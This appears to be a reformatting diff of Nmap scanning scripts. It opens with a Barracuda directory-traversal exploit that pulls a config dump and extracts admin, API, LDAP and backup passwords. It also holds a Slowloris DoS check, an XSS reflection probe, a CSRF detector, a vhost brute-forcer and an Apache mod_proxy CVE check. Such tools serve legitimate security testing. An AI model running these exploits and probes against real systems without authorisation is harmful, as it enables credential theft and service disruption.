stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
for _, path in ipairs(paths) do for _, path in ipairs(paths) do
-- Retrieve file -- Retrieve file
local data = http.get(host, port, tostring(path)) local data = http.get(host, port, tostring(path))
if data and data.status then if data and data.status then
-- Check if file exists -- Check if file exists
stdnse.print_debug(1, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, tostring(path)) stdnse.print_debug(1, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, tostring(path))
if tostring(data.status):match("200") then if tostring(data.status):match("200") then
-- Attempt config file retrieval with LFI exploit -- Attempt config file retrieval with LFI exploit
stdnse.print_debug(1, "%s: Exploiting: %s", SCRIPT_NAME, tostring(path .. payload)) stdnse.print_debug(1, "%s: Exploiting: %s", SCRIPT_NAME, tostring(path .. payload))
data = http.get(host, port, tostring(path .. payload)) data = http.get(host, port, tostring(path .. payload))
if data and data.status and tostring(data.status):match("200") and data.body and data.body ~= "" then if data and data.status and tostring(data.status):match("200") and data.body and data.body ~= "" then
-- Check if the HTTP response contains a valid config file in MySQL database dump format -- Check if the HTTP response contains a valid config file in MySQL database dump format
if string.match(data.body, "DROP TABLE IF EXISTS config;") and string.match(data.body, "barracuda%.css") then if string.match(data.body, "DROP TABLE IF EXISTS config;") and string.match(data.body, "barracuda%.css") then
config_file = data.body config_file = data.body
break break
end end
else else
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path .. payload)) stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path .. payload))
end end
end end
else else
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path)) stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path))
end end
end end
-- No config file found -- No config file found
if config_file == "" then if config_file == "" then
stdnse.print_debug(1, ("%s: %s:%s is not vulnerable or connection timed out."):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) stdnse.print_debug(1, ("%s: %s:%s is not vulnerable or connection timed out."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
return return
end end
-- Extract system info from config file in MySQL dump format -- Extract system info from config file in MySQL dump format
stdnse.print_debug(1, "%s: Exploit success! Extracting system info from MySQL database dump", SCRIPT_NAME) stdnse.print_debug(1, "%s: Exploit success! Extracting system info from MySQL database dump", SCRIPT_NAME)
-- Count users -- Count users
if string.match(config_file, "'user_default_email_address',") then if string.match(config_file, "'user_default_email_address',") then
for _ in string.gmatch(config_file, "'user_default_email_address',") do user_count = user_count + 1 end for _ in string.gmatch(config_file, "'user_default_email_address',") do user_count = user_count + 1 end
end end
table.insert(result, string.format("Users: %s", user_count)) table.insert(result, string.format("Users: %s", user_count))
-- Extract system info -- Extract system info
local vars = { local vars = {
{"Device", "branding_device_name"}, {"Device", "branding_device_name"},
{"Version","httpd_last_release_notes_version_read"}, {"Version","httpd_last_release_notes_version_read"},
{"Hostname","system_default_hostname"}, {"Hostname","system_default_hostname"},
{"Domain","system_default_domain"}, {"Domain","system_default_domain"},
{"Timezone","system_timezone"}, {"Timezone","system_timezone"},
{"Language","default_ndr_lang"}, {"Language","default_ndr_lang"},
{"Password","system_password"}, {"Password","system_password"},
{"API Password","api_password"}, {"API Password","api_password"},
{"MTA SASL LDAP Password","mta_sasl_ldap_advanced_password"}, {"MTA SASL LDAP Password","mta_sasl_ldap_advanced_password"},
{"Gateway","system_gateway"}, {"Gateway","system_gateway"},
{"Primary DNS","system_primary_dns_server"}, {"Primary DNS","system_primary_dns_server"},
{"Secondary DNS","system_secondary_dns_server"}, {"Secondary DNS","system_secondary_dns_server"},
{"DNS Cache","dns_cache"}, {"DNS Cache","dns_cache"},
{"Backup Server","backup_server"}, {"Backup Server","backup_server"},
{"Backup Port","backup_port"}, {"Backup Port","backup_port"},
{"Backup Type","backup_type"}, {"Backup Type","backup_type"},
{"Backup Username","backup_username"}, {"Backup Username","backup_username"},
{"Backup Password","backup_password"}, {"Backup Password","backup_password"},
{"NTP Enabled","system_ntp"}, {"NTP Enabled","system_ntp"},
{"NTP Server","system_ntp_server"}, {"NTP Server","system_ntp_server"},
{"SSH Enabled","system_ssh_enable"}, {"SSH Enabled","system_ssh_enable"},
{"BRTS Enabled","brts_enable"}, {"BRTS Enabled","brts_enable"},
{"BRTS Server","brts_lookup_domain"}, {"BRTS Server","brts_lookup_domain"},
{"HTTP Port","http_port"}, {"HTTP Port","http_port"},
{"HTTP Disabled","http_shutoff"}, {"HTTP Disabled","http_shutoff"},
{"HTTPS Port","https_port"}, {"HTTPS Port","https_port"},
{"HTTPS Only","https_only"}, {"HTTPS Only","https_only"},
} }
for _, var in ipairs(vars) do for _, var in ipairs(vars) do
local var_match = string.match(config_file, string.format("'%s','([^']+)','global',", var[2])) local var_match = string.match(config_file, string.format("'%s','([^']+)','global',", var[2]))
if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end
end end
table.insert(result, "\nVulnerable to directory traversal vulnerability:\nhttp://seclists.org/fulldisclosure/2010/Oct/119") table.insert(result, "\nVulnerable to directory traversal vulnerability:\nhttp://seclists.org/fulldisclosure/2010/Oct/119")
-- Return results -- Return results
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -62,126 +62,126 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
-- Checks if this is really a token. -- Checks if this is really a token.
isToken = function(value) isToken = function(value)
local minlength = 8 local minlength = 8
local minentropy = 72 local minentropy = 72
-- If it has a reasonable length. -- If it has a reasonable length.
if #value > minlength then if #value > minlength then
local entropy = formulas.calcPwdEntropy(value) local entropy = formulas.calcPwdEntropy(value)
-- Does it have a big entropy? -- Does it have a big entropy?
if entropy >= minentropy then if entropy >= minentropy then
-- If it doesn't contain any spaces but contains at least one digit. -- If it doesn't contain any spaces but contains at least one digit.
if not string.find(value, " ") and string.find(value, "%d") then if not string.find(value, " ") and string.find(value, "%d") then
return 1 return 1
end end
end
end end
end
return 0 return 0
end end
action = function(host, port) action = function(host, port)
local singlepages = stdnse.get_script_args("http-csrf.singlepages") local singlepages = stdnse.get_script_args("http-csrf.singlepages")
local checkentropy = stdnse.get_script_args("http-csrf.checkentropy") or false local checkentropy = stdnse.get_script_args("http-csrf.checkentropy") or false
local csrfvuln = {} local csrfvuln = {}
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } ) local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
if (not(crawler)) then if (not(crawler)) then
return return
end end
crawler:set_timeout(10000) crawler:set_timeout(10000)
local index, response, path local index, response, path
while (true) do while (true) do
if singlepages then if singlepages then
local k, target, local k, target,
k, target = next(singlepages, index) k, target = next(singlepages, index)
if (k == nil) then if (k == nil) then
break break
end end
response = http.get(host, port, target) response = http.get(host, port, target)
path = target path = target
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else else
local status, r = crawler:crawl() break
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
response = r.response
path = tostring(r.url)
end
if response.body then
local forms = http.grab_forms(response.body)
for i, form in ipairs(forms) do
form = http.parse_form(form)
local resistant = false
if form then
for _, field in ipairs(form['fields']) do
-- First we check the field's name.
if field['value'] then
resistant = string.find(field['name'], "[Tt][Oo][Kk][Ee][Nn]") or string.find(field['name'], "[cC][sS][Rr][Ff]")
-- Let's be sure, by calculating the entropy of the field's value.
if not resistant and checkentropy then
resistant = isToken(field['value'])
end
if resistant then
break
end
end
end
if not resistant then
-- Handle forms with no id or action attributes.
form['id'] = form['id'] or ""
form['action'] = form['action'] or "-"
local msg = "\nPath: " .. path .. "\nForm id: " .. form['id'] .. "\nForm action: " .. form['action']
table.insert(csrfvuln, { msg } )
end
end
end
if (index) then
index = index + 1
else
index = 1
end
end end
end
response = r.response
path = tostring(r.url)
end end
-- If the table is empty. if response.body then
if next(csrfvuln) == nil then
return "Couldn't find any CSRF vulnerabilities." local forms = http.grab_forms(response.body)
for i, form in ipairs(forms) do
form = http.parse_form(form)
local resistant = false
if form then
for _, field in ipairs(form['fields']) do
-- First we check the field's name.
if field['value'] then
resistant = string.find(field['name'], "[Tt][Oo][Kk][Ee][Nn]") or string.find(field['name'], "[cC][sS][Rr][Ff]")
-- Let's be sure, by calculating the entropy of the field's value.
if not resistant and checkentropy then
resistant = isToken(field['value'])
end
if resistant then
break
end
end
end
if not resistant then
-- Handle forms with no id or action attributes.
form['id'] = form['id'] or ""
form['action'] = form['action'] or "-"
local msg = "\nPath: " .. path .. "\nForm id: " .. form['id'] .. "\nForm action: " .. form['action']
table.insert(csrfvuln, { msg } )
end
end
end
if (index) then
index = index + 1
else
index = 1
end
end end
table.insert(csrfvuln, 1, "Found the following possible CSRF vulnerabilities: ") end
csrfvuln.name = crawler:getLimitations() -- If the table is empty.
if next(csrfvuln) == nil then
return "Couldn't find any CSRF vulnerabilities."
end
return stdnse.format_output(true, csrfvuln) table.insert(csrfvuln, 1, "Found the following possible CSRF vulnerabilities: ")
csrfvuln.name = crawler:getLimitations()
return stdnse.format_output(true, csrfvuln)
end end

View File

@@ -40,10 +40,10 @@ FEEDS = { RSS = { search = { '<rss(.*)>' }, version = 'version=["\'](.-)["\']' }
} }
FEEDS_REFS = { "type=[\"']application/rss%+xml[\"']%s*href=[\"'](.-)[\"']", FEEDS_REFS = { "type=[\"']application/rss%+xml[\"']%s*href=[\"'](.-)[\"']",
"type=[\"']application/rss%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']", "type=[\"']application/rss%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']",
"type=[\"']application/atom%+xml[\"']%s*href=[\"'](.-)[\"']", "type=[\"']application/atom%+xml[\"']%s*href=[\"'](.-)[\"']",
"type=[\"']application/atom%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']", "type=[\"']application/atom%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']",
} }
feedsfound = {} feedsfound = {}
@@ -52,107 +52,107 @@ checked = {}
-- Searches the resource for feeds. -- Searches the resource for feeds.
local findFeeds = function(body, path) local findFeeds = function(body, path)
if body then if body then
for _, f in pairs(FEEDS) do for _, f in pairs(FEEDS) do
for __, pf in pairs(f["search"]) do for __, pf in pairs(f["search"]) do
local c = string.match(body, pf) local c = string.match(body, pf)
if c then if c then
local v = "" local v = ""
-- Try to find feed's version. -- Try to find feed's version.
if string.match(c, f["version"]) then if string.match(c, f["version"]) then
v = " (version " .. string.match(c, f["version"]) .. ")" v = " (version " .. string.match(c, f["version"]) .. ")"
end end
feedsfound[path] = _ .. v .. ": " feedsfound[path] = _ .. v .. ": "
end
end
end
end end
checked[path] = true
end
end
end
checked[path] = true
end end
action = function(host, port) action = function(host, port)
local maxpagecount = stdnse.get_script_args("maxpagecount") or 40 local maxpagecount = stdnse.get_script_args("maxpagecount") or 40
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME, local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
maxpagecount = maxpagecount, maxpagecount = maxpagecount,
maxdepth = -1, maxdepth = -1,
withinhost = 1 withinhost = 1
}) })
crawler.options.doscraping = function(url) crawler.options.doscraping = function(url)
if crawler:iswithinhost(url) if crawler:iswithinhost(url)
and not crawler:isresource(url, "js") and not crawler:isresource(url, "js")
and not crawler:isresource(url, "css") then and not crawler:isresource(url, "css") then
return true return true
end end
end
if (not(crawler)) then
return
end
crawler:set_timeout(10000)
local index, k, target, response, path
while (true) do
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end end
if (not(crawler)) then response = r.response
return path = tostring(r.url)
end
crawler:set_timeout(10000) if response.body then
findFeeds(response.body, path)
local index, k, target, response, path for _, p in ipairs(FEEDS_REFS) do
while (true) do for l in string.gmatch(response.body, p) do
if not checked[l] then
local status, r = crawler:crawl() local resp
-- if the crawler fails it can be due to a number of different reasons -- If this is an absolute URL, use get_url.
-- most of them are "legitimate" and should not be reason to abort if string.match(l, "^http") then
if (not(status)) then resp = http.get_url(l)
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else else
break resp = http.get(host, port, l)
end end
end if resp.body then
findFeeds(resp.body, l)
response = r.response
path = tostring(r.url)
if response.body then
findFeeds(response.body, path)
for _, p in ipairs(FEEDS_REFS) do
for l in string.gmatch(response.body, p) do
if not checked[l] then
local resp
-- If this is an absolute URL, use get_url.
if string.match(l, "^http") then
resp = http.get_url(l)
else
resp = http.get(host, port, l)
end
if resp.body then
findFeeds(resp.body, l)
end
end
end
end end
end
end end
end
end end
-- If the table is empty. end
if next(feedsfound) == nil then
return "Couldn't find any feeds."
end
-- Create a nice output. -- If the table is empty.
local results = {} if next(feedsfound) == nil then
for c, _ in pairs(feedsfound) do return "Couldn't find any feeds."
table.insert(results, {_ .. c } ) end
end
table.insert(results, 1, "Found the following feeds: ") -- Create a nice output.
local results = {}
for c, _ in pairs(feedsfound) do
table.insert(results, {_ .. c } )
end
results.name = crawler:getLimitations() table.insert(results, 1, "Found the following feeds: ")
return stdnse.format_output(true, results) results.name = crawler:getLimitations()
return stdnse.format_output(true, results)
end end

View File

@@ -115,7 +115,7 @@ local function findName(host, port, path, number)
end end
if errors>10 then if errors>10 then
stdnse.print_debug(1, "%s:False positive detected. Exiting.", SCRIPT_NAME) stdnse.print_debug(1, "%s:False positive detected. Exiting.", SCRIPT_NAME)
errors_max=true errors_max=true
else else
stdnse.print_debug(1, "Added folder: %s", path .. "~" .. number) stdnse.print_debug(1, "Added folder: %s", path .. "~" .. number)
table.insert(folders, path .. "~" .. number) table.insert(folders, path .. "~" .. number)

View File

@@ -123,56 +123,56 @@ function action(host, port)
local starting_url = stdnse.get_script_args('http-sitemap-generator.url') or "/" local starting_url = stdnse.get_script_args('http-sitemap-generator.url') or "/"
-- create a new crawler instance -- create a new crawler instance
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME, noblacklist=true, useheadfornonwebfiles=true } ) local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME, noblacklist=true, useheadfornonwebfiles=true } )
if ( not(crawler) ) then if ( not(crawler) ) then
return return
end end
local visited = {} local visited = {}
local dir_structure = {} local dir_structure = {}
local total_ext = {} local total_ext = {}
local longest_dir_structure = {dir="/", depth=0} local longest_dir_structure = {dir="/", depth=0}
while(true) do while(true) do
local status, r = crawler:crawl() local status, r = crawler:crawl()
if ( not(status) ) then if ( not(status) ) then
if ( r.err ) then if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else else
break break
end end
end end
if r.response.status and r.response.status == 200 then if r.response.status and r.response.status == 200 then
--check if we've already visited this file --check if we've already visited this file
local path = normalize_path(r.url.path) local path = normalize_path(r.url.path)
if not visited[path] then if not visited[path] then
local ext = get_file_extension(path) local ext = get_file_extension(path)
if total_ext[ext] then total_ext[ext]=total_ext[ext]+1 else total_ext[ext]=1 end if total_ext[ext] then total_ext[ext]=total_ext[ext]+1 else total_ext[ext]=1 end
local dir = normalize_path(r.url.dir) local dir = normalize_path(r.url.dir)
local _,dir_depth = string.gsub(dir,"/","/") local _,dir_depth = string.gsub(dir,"/","/")
-- check if this path is the longest one -- check if this path is the longest one
dir_depth = dir_depth - 1 -- first '/' dir_depth = dir_depth - 1 -- first '/'
if dir_depth > longest_dir_structure["depth"] then if dir_depth > longest_dir_structure["depth"] then
longest_dir_structure["dir"] = dir longest_dir_structure["dir"] = dir
longest_dir_structure["depth"] = dir_depth longest_dir_structure["depth"] = dir_depth
end end
dict_add(dir_structure, dir, ext) dict_add(dir_structure, dir, ext)
-- when withinhost=false, then maybe we'd like to include the full url -- when withinhost=false, then maybe we'd like to include the full url
-- with each path listed in the output -- with each path listed in the output
visited[path] = true visited[path] = true
end end
end end
end end
local out = internal_table_to_output(sort_dirs(dir_structure)) local out = internal_table_to_output(sort_dirs(dir_structure))
local tot = sort_by_keys(total_ext) local tot = sort_by_keys(total_ext)
out = out =
{ {
"Directory structure:", out, "Directory structure:", out,
{name="Longest directory structure:", "Depth: "..tostring(longest_dir_structure.depth), "Dir: "..longest_dir_structure.dir}, {name="Longest directory structure:", "Depth: "..tostring(longest_dir_structure.depth), "Dir: "..longest_dir_structure.dir},
{name="Total files found (by extension):", table.concat(tot, "; ")} {name="Total files found (by extension):", table.concat(tot, "; ")}
} }
return stdnse.format_output(true, out) return stdnse.format_output(true, out)
end end

View File

@@ -61,99 +61,99 @@ portrule = shortport.http
local HalfHTTP local HalfHTTP
local Bestopt local Bestopt
local TimeWithout -- time without additional headers local TimeWithout -- time without additional headers
local TimeWith -- time with additional headers local TimeWith -- time with additional headers
-- does a half http request and waits until timeout -- does a half http request and waits until timeout
local function slowThread1(host,port) local function slowThread1(host,port)
-- if no response was received when determining SSL -- if no response was received when determining SSL
if ( Bestopt == "none" ) then if ( Bestopt == "none" ) then
return return
end end
local socket,status local socket,status
local catch = function() local catch = function()
TimeWithout = nmap.clock() TimeWithout = nmap.clock()
end end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
socket = nmap.new_socket() socket = nmap.new_socket()
socket:set_timeout(500 * 1000) socket:set_timeout(500 * 1000)
socket:connect(host.ip, port, Bestopt) socket:connect(host.ip, port, Bestopt)
socket:send(HalfHTTP) socket:send(HalfHTTP)
try(socket:receive()) try(socket:receive())
TimeWithout = nmap.clock() TimeWithout = nmap.clock()
end end
-- does a half http request but sends another -- does a half http request but sends another
-- header value after 10 seconds -- header value after 10 seconds
local function slowThread2(host,port) local function slowThread2(host,port)
-- if no response was received when determining SSL -- if no response was received when determining SSL
if ( Bestopt == "none" ) then if ( Bestopt == "none" ) then
return return
end end
local socket,status local socket,status
local catch = function() local catch = function()
-- note the time the socket timedout -- note the time the socket timedout
TimeWith = nmap.clock() TimeWith = nmap.clock()
stdnse.print_debug("2 try") stdnse.print_debug("2 try")
end end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
socket = nmap.new_socket() socket = nmap.new_socket()
socket:set_timeout(500 * 1000) socket:set_timeout(500 * 1000)
socket:connect(host.ip, port, Bestopt) socket:connect(host.ip, port, Bestopt)
socket:send(HalfHTTP) socket:send(HalfHTTP)
stdnse.sleep(10) stdnse.sleep(10)
socket:send("X-a: b\r\n") socket:send("X-a: b\r\n")
try(socket:receive()) try(socket:receive())
TimeWith = nmap.clock() TimeWith = nmap.clock()
end end
action = function(host,port) action = function(host,port)
local slowloris = { local slowloris = {
title = "Slowloris DOS attack", title = "Slowloris DOS attack",
description = [[ description = [[
Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
It accomplishes this by opening connections to the target web server and sending a partial request. By doing It accomplishes this by opening connections to the target web server and sending a partial request. By doing
so, it starves the http server's resources causing Denial Of Service. so, it starves the http server's resources causing Denial Of Service.
]], ]],
references = { references = {
'http://ha.ckers.org/slowloris/', 'http://ha.ckers.org/slowloris/',
}, },
dates = { dates = {
disclosure = {year = '2009', month = '09', day = '17'}, disclosure = {year = '2009', month = '09', day = '17'},
}, },
exploit_results = {}, exploit_results = {},
} }
local report = vulns.Report:new(SCRIPT_NAME, host, port) local report = vulns.Report:new(SCRIPT_NAME, host, port)
slowloris.state = vulns.STATE.NOT_VULN slowloris.state = vulns.STATE.NOT_VULN
local _ local _
_, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", {}) -- first determine if we need ssl _, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", {}) -- first determine if we need ssl
HalfHTTP = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" .. HalfHTTP = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" ..
"Host: " .. host.ip .. "\r\n" .. "Host: " .. host.ip .. "\r\n" ..
"User-Agent: " .. http.USER_AGENT .. "\r\n; " .. "User-Agent: " .. http.USER_AGENT .. "\r\n; " ..
"Content-Length: 42\r\n" "Content-Length: 42\r\n"
-- both threads run at the same time -- both threads run at the same time
local thread1 = stdnse.new_thread(slowThread1, host, port) local thread1 = stdnse.new_thread(slowThread1, host, port)
local thread2 = stdnse.new_thread(slowThread2, host, port) local thread2 = stdnse.new_thread(slowThread2, host, port)
while true do -- wait for both threads to die while true do -- wait for both threads to die
if coroutine.status(thread1) == "dead" and coroutine.status(thread2) == "dead" then if coroutine.status(thread1) == "dead" and coroutine.status(thread2) == "dead" then
break break
end end
stdnse.sleep(1) stdnse.sleep(1)
end end
-- compare times -- compare times
if ( not(TimeWith) or not(TimeWithout) ) then if ( not(TimeWith) or not(TimeWithout) ) then
return return
end end
local diff = TimeWith - TimeWithout local diff = TimeWith - TimeWithout
stdnse.print_debug("Time difference is: %d",diff) stdnse.print_debug("Time difference is: %d",diff)
-- if second connection died 10 or more seconds after the first -- if second connection died 10 or more seconds after the first
-- it means that sending additional data prolonged the connection's time -- it means that sending additional data prolonged the connection's time
-- and the server is vulnerable to slowloris attack -- and the server is vulnerable to slowloris attack
if diff >= 10 then if diff >= 10 then
stdnse.print_debug("Difference is greater or equal to 10 seconds.") stdnse.print_debug("Difference is greater or equal to 10 seconds.")
slowloris.state = vulns.STATE.VULN slowloris.state = vulns.STATE.VULN
end end
return report:make_output(slowloris) return report:make_output(slowloris)
end end

View File

@@ -47,117 +47,117 @@ categories = {"discovery", "intrusive"}
portrule = shortport.http portrule = shortport.http
local function dbg(str,...) local function dbg(str,...)
stdnse.print_debug(2,"%s:"..str, SCRIPT_NAME, ...) stdnse.print_debug(2,"%s:"..str, SCRIPT_NAME, ...)
end end
local function getHostPort(parsed) local function getHostPort(parsed)
local host, port = parsed.host, parsed.port local host, port = parsed.host, parsed.port
-- if no port was found, try to deduce it from the scheme -- if no port was found, try to deduce it from the scheme
if ( not(port) ) then if ( not(port) ) then
port = (parsed.scheme == 'https') and 443 port = (parsed.scheme == 'https') and 443
port = port or ((parsed.scheme == 'http') and 80) port = port or ((parsed.scheme == 'http') and 80)
end end
return host, port return host, port
end end
local function getReflected(parsed, r) local function getReflected(parsed, r)
local reflected_values,not_reflected_values = {},{} local reflected_values,not_reflected_values = {},{}
local count = 0 local count = 0
-- Now, we need to check the parameters and keys -- Now, we need to check the parameters and keys
local q = url.parse_query(parsed.query) local q = url.parse_query(parsed.query)
-- Check the values (and keys) and see if they are reflected in the page -- Check the values (and keys) and see if they are reflected in the page
for k,v in pairs(q) do for k,v in pairs(q) do
if r.response.body and r.response.body:find(v, 1, true) then if r.response.body and r.response.body:find(v, 1, true) then
dbg("Reflected content %s=%s", k,v) dbg("Reflected content %s=%s", k,v)
reflected_values[k] = v reflected_values[k] = v
count = count +1 count = count +1
else else
not_reflected_values[k] = v not_reflected_values[k] = v
end end
end end
if count > 0 then if count > 0 then
return reflected_values,not_reflected_values,q return reflected_values,not_reflected_values,q
end end
end end
local function addPayload(v) local function addPayload(v)
return v.."ghz%3Ehzx%22zxc%27xcv" return v.."ghz%3Ehzx%22zxc%27xcv"
end end
local function createMinedLinks(reflected_values, all_values) local function createMinedLinks(reflected_values, all_values)
local new_links = {} local new_links = {}
for k,v in pairs(reflected_values) do for k,v in pairs(reflected_values) do
-- First of all, add the payload to the reflected param -- First of all, add the payload to the reflected param
local urlParams = { [k] = addPayload(v)} local urlParams = { [k] = addPayload(v)}
for k2,v2 in pairs(all_values) do for k2,v2 in pairs(all_values) do
if k2 ~= k then if k2 ~= k then
urlParams[k2] = v2 urlParams[k2] = v2
end end
end end
new_links[k] = url.build_query(urlParams) new_links[k] = url.build_query(urlParams)
end end
return new_links return new_links
end end
local function locatePayloads(response) local function locatePayloads(response)
local results = {} local results = {}
if response.body:find("ghz>hzx") then table.insert(results,">") end if response.body:find("ghz>hzx") then table.insert(results,">") end
if response.body:find('hzx"zxc') then table.insert(results,'"') end if response.body:find('hzx"zxc') then table.insert(results,'"') end
if response.body:find("zxc'xcv") then table.insert(results,"'") end if response.body:find("zxc'xcv") then table.insert(results,"'") end
return #results > 0 and results return #results > 0 and results
end end
local function visitLinks(host, port,parsed,new_links, results,original_url) local function visitLinks(host, port,parsed,new_links, results,original_url)
for k,query in pairs(new_links) do for k,query in pairs(new_links) do
local ppath = url.parse_path(parsed.path or "") local ppath = url.parse_path(parsed.path or "")
local url = url.build_path(ppath) local url = url.build_path(ppath)
if parsed.params then url = url .. ";" .. parsed.params end if parsed.params then url = url .. ";" .. parsed.params end
url = url .. "?" .. query url = url .. "?" .. query
dbg("Url to visit: %s", url) dbg("Url to visit: %s", url)
local response = http.get(host, port, url) local response = http.get(host, port, url)
local result = locatePayloads(response) local result = locatePayloads(response)
if result then if result then
table.insert(results, ("Characters [%s] reflected in parameter %s at %s"):format(table.concat(result," "),k, original_url)) table.insert(results, ("Characters [%s] reflected in parameter %s at %s"):format(table.concat(result," "),k, original_url))
end end
end end
end end
action = function(host, port) action = function(host, port)
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } ) local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
crawler:set_timeout(10000) crawler:set_timeout(10000)
local results = {} local results = {}
while(true) do while(true) do
local status, r = crawler:crawl() local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons -- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort -- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then if ( not(status) ) then
if ( r.err ) then if ( r.err ) then
return stdnse.format_output(true, "ERROR: %s", r.reason) return stdnse.format_output(true, "ERROR: %s", r.reason)
else else
break break
end end
end end
-- parse the returned url -- parse the returned url
local parsed = url.parse(tostring(r.url)) local parsed = url.parse(tostring(r.url))
-- We are only interested in links which have parameters -- We are only interested in links which have parameters
if parsed.query and #parsed.query > 0 then if parsed.query and #parsed.query > 0 then
local host, port = getHostPort(parsed) local host, port = getHostPort(parsed)
local reflected_values,not_reflected_values,all_values = getReflected(parsed, r) local reflected_values,not_reflected_values,all_values = getReflected(parsed, r)
-- Now,were any reflected ? -- Now,were any reflected ?
if reflected_values then if reflected_values then
-- Ok, create new links with payloads in the reflected slots -- Ok, create new links with payloads in the reflected slots
local new_links = createMinedLinks(reflected_values, all_values) local new_links = createMinedLinks(reflected_values, all_values)
-- Now, if we had 2 reflected values, we should have 2 new links to fetch -- Now, if we had 2 reflected values, we should have 2 new links to fetch
visitLinks(host, port,parsed, new_links, results,tostring(r.url)) visitLinks(host, port,parsed, new_links, results,tostring(r.url))
end end
end end
end end
if ( #results> 0 ) then if ( #results> 0 ) then
return stdnse.format_output(true, results) return stdnse.format_output(true, results)
end end
end end

View File

@@ -120,7 +120,7 @@ local testThread = function(result, host, port, name)
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
local targetname = makeTargetName(name , arg_domain) local targetname = makeTargetName(name , arg_domain)
if targetname ~= nil then if targetname ~= nil then
local http_response = http.generic_request(host, port, "HEAD", arg_path, {header={Host=targetname}}) local http_response = http.generic_request(host, port, "HEAD", arg_path, {header={Host=targetname}})
if not http_response.status then if not http_response.status then
result["ERROR"] = result["ERROR"] or {} result["ERROR"] = result["ERROR"] or {}

View File

@@ -54,108 +54,108 @@ portrule = shortport.http
action = function(host, port) action = function(host, port)
local vuln = { local vuln = {
title = 'Apache mod_proxy Reverse Proxy Security Bypass', title = 'Apache mod_proxy Reverse Proxy Security Bypass',
IDS = { CVE='CVE-2011-3368', OSVDB='76079'}, IDS = { CVE='CVE-2011-3368', OSVDB='76079'},
description = [[ description = [[
An exposure was reported affecting the use of Apache HTTP Server in An exposure was reported affecting the use of Apache HTTP Server in
reverse proxy mode. The exposure could inadvertently expose internal reverse proxy mode. The exposure could inadvertently expose internal
servers to remote users who send carefully crafted requests.]], servers to remote users who send carefully crafted requests.]],
references = { 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368' }, references = { 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368' },
dates = { dates = {
disclosure = { year='2011', month='10', day='05'} disclosure = { year='2011', month='10', day='05'}
}, },
} }
local report = vulns.Report:new(SCRIPT_NAME, host, port) local report = vulns.Report:new(SCRIPT_NAME, host, port)
local prefix = stdnse.get_script_args("http-vuln-cve2011-3368.prefix") or "" local prefix = stdnse.get_script_args("http-vuln-cve2011-3368.prefix") or ""
-- Take a reference chrono for a 404 -- Take a reference chrono for a 404
local start = os.time(os.date('*t')) local start = os.time(os.date('*t'))
local random_page = stdnse.tohex(openssl.sha1(openssl.rand_pseudo_bytes(512))) local random_page = stdnse.tohex(openssl.sha1(openssl.rand_pseudo_bytes(512)))
local reference = http.get(host,port,("%s/%s.htm"):format(prefix,random_page)) local reference = http.get(host,port,("%s/%s.htm"):format(prefix,random_page))
local chrono_404 = os.time(os.date('*t'))-start local chrono_404 = os.time(os.date('*t'))-start
